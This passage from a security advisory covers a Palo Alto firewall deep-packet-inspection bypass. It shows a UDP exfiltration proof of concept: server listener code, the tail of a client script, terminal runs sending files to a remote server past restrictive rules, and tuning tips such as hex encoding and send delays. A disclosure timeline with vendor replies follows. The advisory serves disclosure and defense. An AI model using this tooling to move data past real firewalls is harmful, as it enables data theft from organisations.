  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-ip&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">str</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;ip&quot;</span>, required<span style="color: #666666">=</span><span style="color: #008000">True</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-p&quot;</span>, <span style="color: #BA2121">&quot;--port&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;beginning port (default 31337)&quot;</span>, default<span style="color: #666666">=31337</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-c&quot;</span>, <span style="color: #BA2121">&quot;--chunksize&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;chunk size (default 7000)&quot;</span>, default<span style="color: #666666">=7000</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-n&quot;</span>, <span style="color: #BA2121">&quot;--portnumber&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;default port (default 1000)&quot;</span>, default<span style="color: #666666">=1000</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-s&quot;</span>, <span style="color: #BA2121">&quot;--sleep&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">float</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;default sleep before using a new port (default 0)&quot;</span>, default<span style="color: #666666">=0</span>)
  args <span style="color: #666666">=</span> parser<span style="color: #666666">.</span>parse_args()
  <span style="color: #008000">file</span> <span style="color: #666666">=</span> args<span style="color: #666666">.</span>file
  ip <span style="color: #666666">=</span> args<span style="color: #666666">.</span>ip
  port <span style="color: #666666">=</span> args<span style="color: #666666">.</span>port
  port_nb <span style="color: #666666">=</span> args<span style="color: #666666">.</span>portnumber
  chunk_size <span style="color: #666666">=</span> args<span style="color: #666666">.</span>chunksize
  sleep <span style="color: #666666">=</span> args<span style="color: #666666">.</span>sleep
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;file =&quot;</span>, <span style="color: #008000">file</span>)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;ip =&quot;</span>, ip)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;port =&quot;</span>, port)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;portnumber =&quot;</span>, port_nb)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;chunksize =&quot;</span>, chunk_size)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;sleep =&quot;</span>, sleep)

  exfiltrate(port)
  <span style="color: #008000; font-weight: bold">print</span> (<span style="color: #BA2121">&quot;done&quot;</span>)
</pre></div>

<p><code>server.py</code> - will create 1000 threads to listen on 1000 UDP ports and retrieve contents sent by the client. The data received will be stored on files whose names correspond to the udp port:</p>
<pre><code>kali-wan-server# ulimit -n 100000 &amp;&amp; ./server.py -h
usage: server.py [-h] [-p PORT] [-c CHUNKSIZE] [-n PORTNUMBER]

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  beginning port (default 31337)
  -c CHUNKSIZE, --chunksize CHUNKSIZE
                        chunk size (default 7000)
  -n PORTNUMBER, --portnumber PORTNUMBER
                        default port (default 1000)
kali-wan-server# ulimit -n 100000 &amp;&amp; ./server.py   
port = 31337
portnumber = 1000
chunksize = 7000
</code></pre>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #408080; font-style: italic">#!/usr/bin/python</span>

<span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">socket</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">threading</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">os</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">sys</span><span style="color: #666666">,</span> <span style="color: #0000FF; font-weight: bold">argparse</span>

UDP_IP <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;0.0.0.0&quot;</span>

<span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">createsocket</span>(port):
  sock <span style="color: #666666">=</span> socket<span style="color: #666666">.</span>socket(socket<span style="color: #666666">.</span>AF_INET, socket<span style="color: #666666">.</span>SOCK_DGRAM)
  sock<span style="color: #666666">.</span>bind((UDP_IP, port))
  <span style="color: #008000; font-weight: bold">return</span> sock

<span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">thread_recv</span>(port):
  s <span style="color: #666666">=</span> createsocket(port)
  f <span style="color: #666666">=</span> <span style="color: #008000">open</span>(<span style="color: #008000">str</span>(port), <span style="color: #BA2121">&quot;a&quot;</span>)
  <span style="color: #008000; font-weight: bold">while</span> <span style="color: #008000">True</span>:
    data, b <span style="color: #666666">=</span> s<span style="color: #666666">.</span>recvfrom(chunk_size)
    <span style="color: #008000; font-weight: bold">print</span> (port, end<span style="color: #666666">=</span><span style="color: #BA2121">&quot; &quot;</span>)
    f<span style="color: #666666">.</span>write(data<span style="color: #666666">.</span>decode(<span style="color: #BA2121">&quot;utf-8&quot;</span>))
    os<span style="color: #666666">.</span>fsync(f)

<span style="color: #008000; font-weight: bold">if</span> <span style="color: #19177C">__name__</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&quot;__main__&quot;</span>:
  parser <span style="color: #666666">=</span> argparse<span style="color: #666666">.</span>ArgumentParser()
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-p&quot;</span>, <span style="color: #BA2121">&quot;--port&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;beginning port (default 31337)&quot;</span>, default<span style="color: #666666">=31337</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-c&quot;</span>, <span style="color: #BA2121">&quot;--chunksize&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;chunk size (default 7000)&quot;</span>, default<span style="color: #666666">=7000</span>)
  parser<span style="color: #666666">.</span>add_argument(<span style="color: #BA2121">&quot;-n&quot;</span>, <span style="color: #BA2121">&quot;--portnumber&quot;</span>, <span style="color: #008000">type</span><span style="color: #666666">=</span><span style="color: #008000">int</span>, help<span style="color: #666666">=</span><span style="color: #BA2121">&quot;default port (default 1000)&quot;</span>, default<span style="color: #666666">=1000</span>)
  args <span style="color: #666666">=</span> parser<span style="color: #666666">.</span>parse_args()
  port <span style="color: #666666">=</span> args<span style="color: #666666">.</span>port
  port_nb <span style="color: #666666">=</span> args<span style="color: #666666">.</span>portnumber
  chunk_size <span style="color: #666666">=</span> args<span style="color: #666666">.</span>chunksize
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;port =&quot;</span>, port)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;portnumber =&quot;</span>, port_nb)
  <span style="color: #008000; font-weight: bold">print</span>(<span style="color: #BA2121">&quot;chunksize =&quot;</span>, chunk_size)

  threads <span style="color: #666666">=</span> <span style="color: #008000">list</span>()
  <span style="color: #008000; font-weight: bold">for</span> index <span style="color: #AA22FF; font-weight: bold">in</span> <span style="color: #008000">range</span> (port, port<span style="color: #666666">+</span>port_nb):
    t <span style="color: #666666">=</span> threading<span style="color: #666666">.</span>Thread(target<span style="color: #666666">=</span>thread_recv, args<span style="color: #666666">=</span>(index,))
    threads<span style="color: #666666">.</span>append(t)
    t<span style="color: #666666">.</span>start()
  <span style="color: #008000; font-weight: bold">for</span> index, thread <span style="color: #AA22FF; font-weight: bold">in</span> <span style="color: #008000">enumerate</span>(threads):
    thread<span style="color: #666666">.</span>join()
</pre></div>

<p>For example, in my test network, with restrictive policies:</p>
<ul>
<li><code>unknown-tcp</code> and <code>unknown-udp</code> (with the service <code>application-default</code>) are blocked,</li>
<li>only <code>ms-office356</code> (with the service <code>application-default</code>) is allowed, and</li>
<li>everything else is blocked.</li>
</ul>
<p><img alt="" src="images/2025-palo-alto-dpi-poc-policies.png" /></p>
<p><a href="images/2025-palo-alto-dpi-poc-policies-full.png">Click here for full image</a></p>
<p>I generate a 10M file on <code>kali-lan-client</code> located in the LAN side of the Palo Alto appliance.</p>
<p>This file contains the <code>hexdump -C</code> representation of 2M of random data, resulting in a 10MB file. It also appears that data represented as hexadecimal dump easily goes through Palo Alto's DPI engines.</p>
<p>The SHA256 checksum of the file is <code>74a446b153955ce46fe3f8a0f30ab939226ec176af5ecaecc0cfa9f91108f725</code>:</p>
<pre><code>kali-lan-client% ls -la
total 12
drwx------  2 user user 4096 Oct 12 21:10 .
drwx------ 17 user user 4096 Oct 12 21:04 ..
-rwx------  1 user user 1459 Oct 12 21:03 client.py
kali-lan-client% dd if=/dev/urandom bs=1M count=2 | hexdump -C &gt; 10M
2+0 records in
2+0 records out
2097152 bytes (2.1 MB, 2.0 MiB) copied, 0.458256 s, 4.6 MB/s
kali-lan-client% ls -la
total 10128
drwxrwxr-x  2 user user     4096 Oct 12 21:10 .
drwx------ 17 user user     4096 Oct 12 21:04 ..
-rw-------  1 user user 10354697 Oct 12 21:10 10M
-rwx------  1 user user     1459 Oct 12 21:03 client.py
kali-lan-client% du -h 10M 
9.9M    10M
kali-lan-client% head -n 5 10M
00000000  87 f1 fc ba c6 15 4e 41  b0 dc 12 57 e7 31 e2 8a  |......NA...W.1..|
00000010  00 52 68 ad 6c 7b db 5c  c5 09 8d 40 79 48 30 f0  |.Rh.l{.\...@yH0.|
00000020  99 b8 db af cb cb af 5d  9e f2 bf 78 d2 b7 19 7e  |.......]...x...~|
00000030  11 89 fc 37 e5 20 a0 d8  c3 74 ed 1b ea fa 5f b5  |...7. ...t...._.|
00000040  82 5d be 39 63 a1 7d f1  f8 af 1f ed 72 02 23 50  |.].9c.}.....r.#P|
kali-lan-client% sha256sum 10M
74a446b153955ce46fe3f8a0f30ab939226ec176af5ecaecc0cfa9f91108f725  10M
kali-lan-client% ./client.py -f 10M -ip 172.16.35.3 -c 65000
file = 10M
ip = 172.16.35.3
port = 31337
portnumber = 1000
chunksize = 65000
sleep = 0
done
kali-lan-client%
</code></pre>
<p>On the server <code>kali-wan-server</code> located in the WAN side of the Palo Alto appliance, this file is received into multiple small parts. When reassembled, the resulting file has the correct SHA256 checksum <code>74a446b153955ce46fe3f8a0f30ab939226ec176af5ecaecc0cfa9f91108f725</code> meaning exfiltration was a success:</p>
<pre><code>kali-wan-server# ls -la
total 32
drwxr-xr-x  2 root root 24576 Oct 12 21:08 .
drwx------ 24 user user  4096 Oct 12 21:07 ..
-rwx------  1 root root  1201 Oct 12 20:56 server.py
kali-wan-server# ulimit -n 100000 &amp;&amp; ./server.py -c 65000
port =  31337
portnumber =  1000
chunksize =  65000
31337 31337 31337 31337 31338 31338 31338 31338 31339 31339 31339 31339 31340 31340 [...]

KeyboardInterrupt
^C Exception ignored in: &lt;module 'threading' from '/usr/lib/python3.11/threading.py'&gt;
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1590, in _shutdown
    lock.acquire()
KeyboardInterrupt:
kali-wan-server# ls -la
total 10228
drwx------  2 root root  24576 Oct 12 21:11 .
drwx------ 24 user user   4096 Oct 12 21:07 ..
-rw-------  1 root root 260000 Oct 12 21:11 31337
-rw-------  1 root root 260000 Oct 12 21:11 31338
-rw-------  1 root root 260000 Oct 12 21:11 31339
-rw-------  1 root root 260000 Oct 12 21:11 31340
-rw-------  1 root root 260000 Oct 12 21:11 31341
-rw-------  1 root root 260000 Oct 12 21:11 31342
-rw-------  1 root root 260000 Oct 12 21:11 31343
-rw-------  1 root root 260000 Oct 12 21:11 31344
[...]
-rw-------  1 root root      0 Oct 12 21:11 32332
-rw-------  1 root root      0 Oct 12 21:11 32333
-rw-------  1 root root      0 Oct 12 21:11 32334
-rw-------  1 root root      0 Oct 12 21:11 32335
-rw-------  1 root root      0 Oct 12 21:11 32336
-rwx------  1 root root   1201 Oct 12 20:56 server.py
kali-wan-server# cat 3* &gt; 10M_exfiltrated
kali-wan-server# sha256sum 10M_exfiltrated
74a446b153955ce46fe3f8a0f30ab939226ec176af5ecaecc0cfa9f91108f725  10M_exfiltrated
kali-wan-server#
</code></pre>
<p>In the logs, we can see that the datagrams went through.</p>
<p>The following screenshot shows that 260,2k byte-sized communications were allowed for the UDP ports used by the PoC (because the chunk size was 65000 during the test, using <code>-c 65000</code>: 4 datagrams of 65000 = 260000 bytes = 253,9 kbytes and I guess that the additional 6440 bytes correspond to the header overheads since the datagrams were fragmented):</p>
<p><img alt="" src="images/2025-palo-alto-dpi-poc-logs-02.png" /></p>
<p><a href="images/2025-palo-alto-dpi-poc-logs-02-full.png">Click here for full image</a></p>
<p>And the latest communications (with 240 bytes detected by the appliance) were also allowed - the file was already fully transferred:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-poc-logs-01.png" /></p>
<p><a href="images/2025-palo-alto-dpi-poc-logs-01-full.png">Click here for full image</a></p>
<p>Using Wireshark on the receiving server, we can see that UDP datagrams were fragmented:</p>
<p><img alt="" src="images/2025-palo-alto-dpi-poc-udp-fragments.png" /></p>
<p><a href="images/2025-palo-alto-dpi-poc-udp-fragments-full.png">Click here for full image</a></p>
<p>I ran some tests with bigger files (200MB) and achieved the speed of 600Mbps of data exfiltrated on the remote server (likely limited by the test hardware) with a datagram size of 65,000 bytes (and a MTU of 1,500 bytes).</p>
<pre><code>kali-wan-server% slurm -i eth0
                      -= slurm 0.4.4 on kali-wan-server =-

                                                                          x    
 x                                 xxxx       x  xx                 x  xxxx    
 xx                                xxxxx     xxxxxx               xxxxxxxxx    
 xx                           xx  xxxxxx    xxxxxxx               xxxxxxxxx    
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
                                          x x x                   x  xx        
                                              x                       x        
                                              x                       x        
                                                                      x



      Active Interface: eth0                    Interface Speed: 1000 Mbit/s

      Current RX Speed: 70271.63 KB/s          Current TX Speed: 9.42 KB/s       
    Graph Top RX Speed: 74681.16 KB/s        Graph Top TX Speed: 20.85 KB/s      
  Overall Top RX Speed: 74681.16 KB/s      Overall Top TX Speed: 20.85 KB/s      
      Received Packets: 6769372             Transmitted Packets: 348814          
       GBytes Received: 9.015 GB             GBytes Transmitted: 0.312 GB        
   Errors on Receiving:   0              Errors on Transmission: 0
</code></pre>
<p>Obviously, using UDP datagrams with a size of 65,000 bytes is not possible on the Internet because they will be fragmented into a multitude of small packets and such datagram size is likely to be dropped by routers. From my tests, over the Internet, datagrams with a size of 7,000 bytes usually go through with a speed of ~ 100Mbps without limits. It appears that some hosting companies will drop UDP floods. Therefore, I added the <code>--sleep</code> option in the <code>client.py</code> PoC to wait milliseconds before switching to a new UDP port.</p>
<p>With a 15MB file sent over the Internet (a sleep of 10ms is used when switching to a new UDP port, artificialy limiting the throughput):</p>
<pre><code>kali% ls -la
total 4
drwxr-xr-x  2 root root   60 Feb 13 10:04 .
drwxrwxrwt 26 root root 1660 Feb 13 09:10 ..
-rwx------  1 root root 1465 Feb 13 10:03 client.py
kali% dd if=/dev/urandom bs=1M count=3 | hexdump -C &gt; 15M
3+0 records in
3+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.625271 s, 5.0 MB/s
kali% ls -la
total 15176
drwxr-xr-x  2 root root       80 Feb 13 10:04 .
drwxrwxrwt 26 root root     1660 Feb 13 09:10 ..
-rw-------  1 root root 15532041 Feb 13 10:04 15M
-rwx------  1 root root     1465 Feb 13 10:03 client.py
kali% du -h 15M
15M 15M
kali% sha256sum 15M
2463d436d3bf720091a6d18138b308ba9e7c41aab42ed76639dc3cc17387c7b4  15M
kali% ./client.py -f 15M -ip [redacted] -c 7000 -p 30000 -s 0.01
file = 15M
ip = [redacted]
port = 30000
portnumber = 1000
chunksize = 7000
sleep = 0.01
done
kali%
</code></pre>
<p>On the remote server, the file is received:</p>
<pre><code>server# ulimit -n 100000 &amp;&amp; ./server.py -c 7000 -p 30000 -n 1000
port =  30000
portnumber =  1000
chunksize =  7000
30000 30000 30000 30000 30001 30001 30001 30001 30002 30002 30002 30002 30003 30003 30003 30003 30004 30004 30004 30004 30005 30005 30005 30005 30006 30006 30006 30006 30007 30007 30007 30007 30008 30008 30008 30008 30009 30009 30009 30009 30010 30010 30010 30010 30011 30011 30011 30011 30012 30012 30012 30012 30013 30013 30013 30013 30014 30014 30014 30014 30015 30015 30015 30015 30016 30016 30016 30016 30017 30017 30017 30017 30018 30018 30018 30018 30019 30019 30019 30019 30020 30020 30020 30020 30021 30021 30021 30021 30022 30022 30022 30022 30023 30023 30023 30023 30024 30024 30024 30024 30025 30025 30025 30025 30026 30026 30026 30026 30027 30027 30027 30027 30028 30028 30028 30028 30029 30029 30029 30029 30030 30030 30030 30030 30031 30031 30031 30031 30032 30032 30032 30032 30033 30033 30033 30033 30034 30034 30034 30034 30035 30035 30035 30035 30036 30036 30036 [...]
^C
server# du -h
15M .
server# ls -la | head
total 13316
drwx------ 2 root root 20060 Feb 13 18:09 .
drwxrwxrwt 3 root root    60 Feb 13 17:38 ..
-rw------- 1 root root 21000 Feb 13 18:09 30000
-rw------- 1 root root 21000 Feb 13 18:09 30001
-rw------- 1 root root 21000 Feb 13 18:09 30002
-rw------- 1 root root 21000 Feb 13 18:09 30003
-rw------- 1 root root 21000 Feb 13 18:09 30004
-rw------- 1 root root 21000 Feb 13 18:09 30005
-rw------- 1 root root 21000 Feb 13 18:09 30006
server# cat 3*|sha256sum 
2463d436d3bf720091a6d18138b308ba9e7c41aab42ed76639dc3cc17387c7b4  -
server#
</code></pre>
<p>With tcpdump, we can confirm that the file is being transferred over UDP:</p>
<pre><code>server# tcpdump -n -i eth0 udp
[...]
18:09:53.814557 IP [redacted]2 &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814558 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814600 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.814855 IP [redacted].60614 &gt; [redacted].30071: UDP, length 7000
18:09:53.814855 IP [redacted].60614 &gt; [redacted].30071: UDP, length 7000
18:09:53.814855 IP [redacted].60614 &gt; [redacted].30071: UDP, length 7000
18:09:53.814855 IP [redacted].60614 &gt; [redacted].30071: UDP, length 7000
18:09:53.825361 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.825361 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.825362 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.825362 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.825390 IP [redacted] &gt; [redacted]: ip-proto-17
18:09:53.825390 IP [redacted] &gt; [redacted]: ip-proto-17
[...]
</code></pre>
<p>During this transfer, I saw a 20Mbps speed due to the use of a sleep of 10ms when switching to a new UDP port:</p>
<pre><code>server% slurm -i eth0
                           -= slurm 0.4.3 on server =-

 x                                                                             
 xxxx                                                                          
 xxxx                                                                          
 xxxxx                                                                         
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx               
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx               
 x                                                      x x                    
 x                                                                             
 x                                                                             
 x



      Active Interface: eth0                    Interface Speed: unknown

      Current RX Speed: 2580.04 KB/s           Current TX Speed: 10.32 KB/s      
    Graph Top RX Speed: 2580.04 KB/s         Graph Top TX Speed: 10.32 KB/s      
  Overall Top RX Speed: 2580.04 KB/s       Overall Top TX Speed: 10.32 KB/s      
      Received Packets: 205380              Transmitted Packets: 30023           
       MBytes Received: 243.647 MB           MBytes Transmitted: 10.926 MB       
   Errors on Receiving: 0                Errors on Transmission: 0
</code></pre>
<p>Without a sleep of 10ms when a new UDP port is used, I saw a speed of 10518KB/s speed (~ 84Mbps). However, some packets will be missing on the receiving server.</p>
<pre><code>                       -= slurm 0.4.4 on server =-

             x                                                                 
             x                                            x                    
             x                                            x                    
             x             x                              x                    
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
                    x                             x                            
                    x                             x                            
                    x                             x                            
                    x



      Active Interface: eth0                    Interface Speed: 1000 Mbit/s

      Current RX Speed: 0.12 KB/s              Current TX Speed: 0.47 KB/s       
    Graph Top RX Speed: 10518.66 KB/s        Graph Top TX Speed: 58.17 KB/s      
  Overall Top RX Speed: 10518.66 KB/s      Overall Top TX Speed: 58.17 KB/s      
      Received Packets: 9678138             Transmitted Packets: 354087          
       GBytes Received: 13.049 GB            GBytes Transmitted: 0.313 GB        
   Errors on Receiving: 0                Errors on Transmission: 0
</code></pre>
<p>Note that, because UDP is used, it happens that datagrams are lost (in a LAN, I receive between 99.999% and 100% of the datagrams), but the results may differ on the Internet. The use of a timer (10ms, 5ms) when switching UDP ports will strongly limit packet loss.</p>
<p>From my tests, it is possible to exfiltrate a huge quantity of data.</p>
<p>Finally, regarding the choice of using a hexadecimal version of files: representation with <code>hexdump -C</code> was used to identify potential missing/blocked transferred data during the tests. The fact that UDP also may arrive in different order is partially solved using hexdump representation (thanks to the address of the content). Also, surprisingly, hexadecimal-encoded data tends to pass very easily through DPI engines of Palo Alto:</p>
<pre><code>kali-lan-client% head -n 10 25M
00000000  df ac e4 18 02 be 72 dd  1b 80 d2 19 24 fa 10 25  |......r.....$..%|
00000010  b7 b7 ae 98 45 d4 3f d9  21 27 7f 5e a6 e7 09 1f  |....E.?.!'.^....|
00000020  10 28 af a7 1f 4b 43 2d  2e 17 dd d9 11 9b d5 3e  |.(...KC-.......&gt;|
00000030  dc d2 a7 5d 4b eb 83 05  b0 ea 73 48 61 1d ac 56  |...]K.....sHa..V|
00000040  a7 c3 56 83 da 0f b1 57  4f de 39 30 96 e6 bd 21  |..V....WO.90...!|
00000050  a9 84 f3 01 80 8a b3 0f  66 11 2b d5 7e 94 7a 07  |........f.+.~.z.|
00000060  f8 11 ba 5a 16 e9 7c b7  90 83 28 3f 85 e5 22 ff  |...Z..|...(?..".|
00000070  da 41 af 63 fc 6f af 63  ed d2 ab c6 21 c2 54 8b  |.A.c.o.c....!.T.|
00000080  98 fd e7 dd 10 75 ba a2  28 56 c7 40 a4 ba 6d ee  |.....u..(V.@..m.|
00000090  25 3c 83 5c 5f 80 a0 47  66 7c d2 e8 96 03 a4 be  |%&lt;.\_..Gf|......|
</code></pre>
<h3>Risk</h3>
<p>Threat actors can exfiltrate data without any filtering.</p>
<h3>Recommendation</h3>
<p>There are vulnerabilities inside the <code>default-application</code> service in Palo Alto firewalls when using a specific application (Palo Alto wording for available Deep Packet Inspection mechanisms), allowing an attacker to transmit any data to the Internet. The application linked to the <code>default-application</code> service provides information to the Deep Packet Inspection (DPI) mechanisms implemented in the <code>default-application</code> service to block any unwanted traffic.</p>
<p>Any rule based on the <code>default-application</code> service (e.g. access to websites) with a specific application without a destination address is vulnerable to data exfiltration.</p>
<p>Do not use DPI-based rules.</p>
<p>In the firewall rules, always specify the IPv4 and IPv6 addresses of the remote services that you want to allow.</p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>2023 - 2024: Reported several HTTP/HTTPS DPI bypasses to the Palo Alto support (different from those indicated in this security advisory). On September 2024, the support finally provided me with workarounds with 10 options in "Suspicious HTTP Evasion Detection" and "Suspicious TLS Evasion Found" to set to drop in order to block these bypasses.</li>
<li>Oct 2024: Security assessment performed on "standard" DPI firewall rules implemented on Palo Alto PanOS.</li>
<li>Nov 4, 2024: Sent a complete report to Palo Alto PSIRT.</li>
<li>Nov 7, 2024: Asked for an update.</li>
<li>Nov 14, 2024: Palo Alto PSIRT acknowledged the reception of the security assessment and confirmed that the behavior is normal due to "insufficient-data" (as shown in the screenshots found in the report), and provided me with links to the palo alto website and the following explanation:</li>
</ul>
<blockquote>
<p>The behavior described in the report is not considered a vulnerability, since it does not impact the confidentiality, integrity, or availability of the system or downstream systems, and therefore it does not meet the criteria to assign a CVE. There are multiple proactive measures that are available to reduce the likelihood of exfiltration. These include: </p>
<ul>
<li>
<p>creating security policies that specify both the source and destination IP addresses in the policy, including the use of EDLs for SaaS type services,</p>
</li>
<li>
<p>using auto-tagging to tag source IPs with insufficient-data/unknown sessions, which can then be added to a dynamic access group for use in a policy, such as an authentication policy,</p>
</li>
<li>
<p>using authentication policies as additional barriers to malicious activity, and</p>
</li>
<li>
<p>configuring DNS Sinkholing for suspicious domains.</p>
</li>
</ul>
</blockquote>
<ul>
<li>Nov 15, 2024: Asked clarification regarding the allowed amount of exfiltrated data, since the <a href="https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClIgCAK">official documentation</a> indicates that the appliance will "Wait for a maximum of 4 packets or 2000 bytes of data in either direction (not including the TCP handshake)". I confirmed from my observation that, I was able to exfiltrate more data in UDP and in TCP. I asked if they replicated the tests.</li>
<li>Nov 25, 2024: Sent a follow-up email.</li>
<li>Nov 26, 2024: Palo Alto provided the same 4 previous workarounds and said I should recontact them after trying these mitigations.</li>
<li>Dec 6, 2024: I confirmed to Palo Alto PSIRT that the 4 workarounds they previously indicated do not work: tcp packets and udp datagrams are not blocked even with denied unknown-tcp and unknown-udp denied policy at the top of the rules - I was able to exfiltrate up to 40KBs in TCP and UDP in 1 network flow. I again asked if they tested the PoCs. I also said that these vulnerabilities may be elligible to CVEs. If network flows are not blocked by the firewall while they were supposed to be blocked, this looks like a vulnerability. We can find previous CVEs corresponding to firewalls letting packets through, for example CVE-2019-5598.</li>
<li>Dec 9, 2024: Palo Alto PSIRT said they would forward the report to the product team.</li>
<li>Jan 13, 2025: Asked for an update.</li>
<li>Jan 15, 2025: Palo Alto PSIRT provided me with the final analysis.</li>
<li>Feb 11, 2025: I asked Palo Alto PSIRT more details regarding the official analysis.</li>
<li>Mar 13, 2025: Palo Alto PSIRT provided me with the official statement:</li>
</ul>
<blockquote>
<p>Reports 1 &amp; 2:
Our firewall is designed to optimize user experience and minimize disruption. If the firewall encounters HTTP traffic it cannot confidently identify (e.g., Facebook, Reddit), the request is not automatically dropped to avoid false positives and unintended performance issues.</p>
<p>If you'd like to explore an option to drop unidentified traffic, you're welcome to submit a feature request through our support team: https://support.paloaltonetworks.com.</p>
<p>Report 3:
The firewall requires a certain number of packets for inspection before setting the App-ID to unknown-udp. For rules involving apps with udp/dynamic as their default, the firewall waits until an App-ID is determined before taking action. In this case, the UDP packet count fell below the threshold, so the App-ID remained insufficient-data, and the session was not dropped.</p>
<p>If you'd like the flexibility to adjust this packet threshold, you can submit a feature request through our support team: https://support.paloaltonetworks.com.</p>
<p>Security Classification:
Since these reports reflect feature requests rather than product defects, they do not qualify as security vulnerabilities under PAN-OS guidelines. We follow CVE Numbering Authority (CNA) Operational Rules to define vulnerabilities. Specifically, rule 4.1.7 states:</p>
<p>"Detection bypass attacks SHOULD NOT be determined to be vulnerabilities unless a product explicitly claims to detect a specific pattern and fails to do so."</p>
<p>Since PAN-OS does not explicitly claim to detect the reported behaviors, this scenario does not meet the criteria for a CVE-classified vulnerability.</p>
</blockquote>
<ul>
<li>Mar 31, 2025: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2025-03-31-paloalto-dpi-3-vulnerabilities.html">https://pierrekim.github.io/blog/2025-03-31-paloalto-dpi-3-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2025-palo-alto-dpi.txt">https://pierrekim.github.io/advisories/2025-palo-alto-dpi.txt</a></p>
<h2>Annexes</h2>
<p><a id="exfiltration-tcp-http-payload"></a></p>
<h3>Example payload for the Exfiltration of data using TCP and 80/tcp to any IP</h3>
